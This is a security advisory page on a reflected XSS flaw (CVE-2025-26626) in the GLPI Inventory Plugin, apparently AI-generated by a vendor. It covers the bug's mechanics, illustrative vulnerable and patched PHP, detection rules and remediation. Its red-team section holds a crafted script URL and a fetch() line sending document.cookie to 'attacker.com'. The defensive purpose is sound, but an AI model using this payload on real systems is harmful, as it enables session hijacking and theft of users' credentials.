CVE-2025-26626
Executive Summary
CVE-2025-26626 is a reflective cross-site scripting (XSS) vulnerability in the GLPI Inventory Plugin, which is used for asset and IT management within the GLPI software suite. The vulnerability affects versions prior to 1.5.0 and allows an attacker to inject and execute arbitrary JavaScript code in the context of a victim’s browser session. This can lead to session hijacking, data theft, or further compromise of the GLPI instance. The vulnerability is classified as medium severity (CVSS 6.5) and has a low EPSS score (0.0%), indicating a low probability of active exploitation in the wild. No public proof-of-concept (PoC) or exploit code is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. The vulnerability requires user interaction (e.g., clicking a crafted link) and does not directly compromise the server. However, successful exploitation can lead to session hijacking and data exfiltration.
Deep Dive & Mechanics
The GLPI Inventory Plugin handles various tasks for GLPI agents. The vulnerability is a reflective XSS, meaning the injected script is reflected off the web server immediately, such as in an error message or search result. The plugin fails to properly sanitize user-supplied input before reflecting it back to the user. An attacker can craft a malicious URL containing JavaScript code. When a victim clicks the link, the script executes in their browser, potentially allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.
The vulnerability is specifically in the plugin’s handling of certain parameters that are echoed back without proper encoding. The fix in version 1.5.0 likely involves input validation and output encoding to prevent script injection.
Vulnerable vs. Patched Code
Vulnerable Code (prior to 1.5.0):
// Example of vulnerable code that directly echoes user input
$input = $_GET['param'];
echo "<div>You searched for: " . $input . "</div>";
Patched Code (version 1.5.0):
// Patched code using htmlspecialchars to escape output
$input = $_GET['param'];
echo "<div>You searched for: " . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "</div>";
The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable GLPI instance with Inventory Plugin < 1.5.0.
- A victim user with an active session.
Exploitation Steps:
- Craft a malicious URL:
http://target-glpi/plugins/inventory/?param=<script>alert('XSS')</script> - Send the URL to the victim via email, social engineering, or other means.
- When the victim clicks the link, the JavaScript executes in their browser.
Advanced Payload:
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team
Detection:
- Monitor web server logs for requests containing
<script>tags or other suspicious patterns in query parameters. - Use a Web Application Firewall (WAF) to block common XSS payloads.
Hunting:
- Search for requests to
/plugins/inventory/with unusual parameters. - Look for outbound connections from the GLPI server to unknown IPs (potential data exfiltration).
Indicators of Compromise (IOCs)
- Network IOCs:
- Requests containing
<script>tags in the query string to/plugins/inventory/. - Outbound HTTP requests to attacker-controlled domains from the GLPI server.
- Requests containing
- Host IOCs:
- Unusual JavaScript execution in browser console.
- Unexpected cookies or session tokens in browser storage.
- Log IOCs:
- Web server logs showing
param=<script>...</script>patterns.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_26626_XSS_Detection {
meta:
description = "Detects reflective XSS attempts against GLPI Inventory Plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26626"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$glpi_path = "/plugins/inventory/"
condition:
$glpi_path and $xss_payload
}
Sigma Rule
title: Reflective XSS Attempt Against GLPI Inventory Plugin
id: 8a3f7c2e-5d1b-4a9f-8c3e-2b1d6f7a8c0e
status: experimental
description: Detects potential XSS attacks targeting CVE-2025-26626
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/plugins/inventory/'
cs-uri-query|re: '<script[^>]*>.*?<\/script>'
condition: selection
falsepositives:
- Legitimate use of script tags in search queries (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26626 GLPI Inventory Plugin Reflective XSS Attempt"; flow:to_server,established; content:"/plugins/inventory/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade the GLPI Inventory Plugin to version 1.5.0 or later.
- If immediate upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads.
Long-term Measures:
- Implement input validation and output encoding for all user-supplied data.
- Conduct regular security audits and penetration testing.
- Monitor for new advisories related to GLPI and its plugins.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.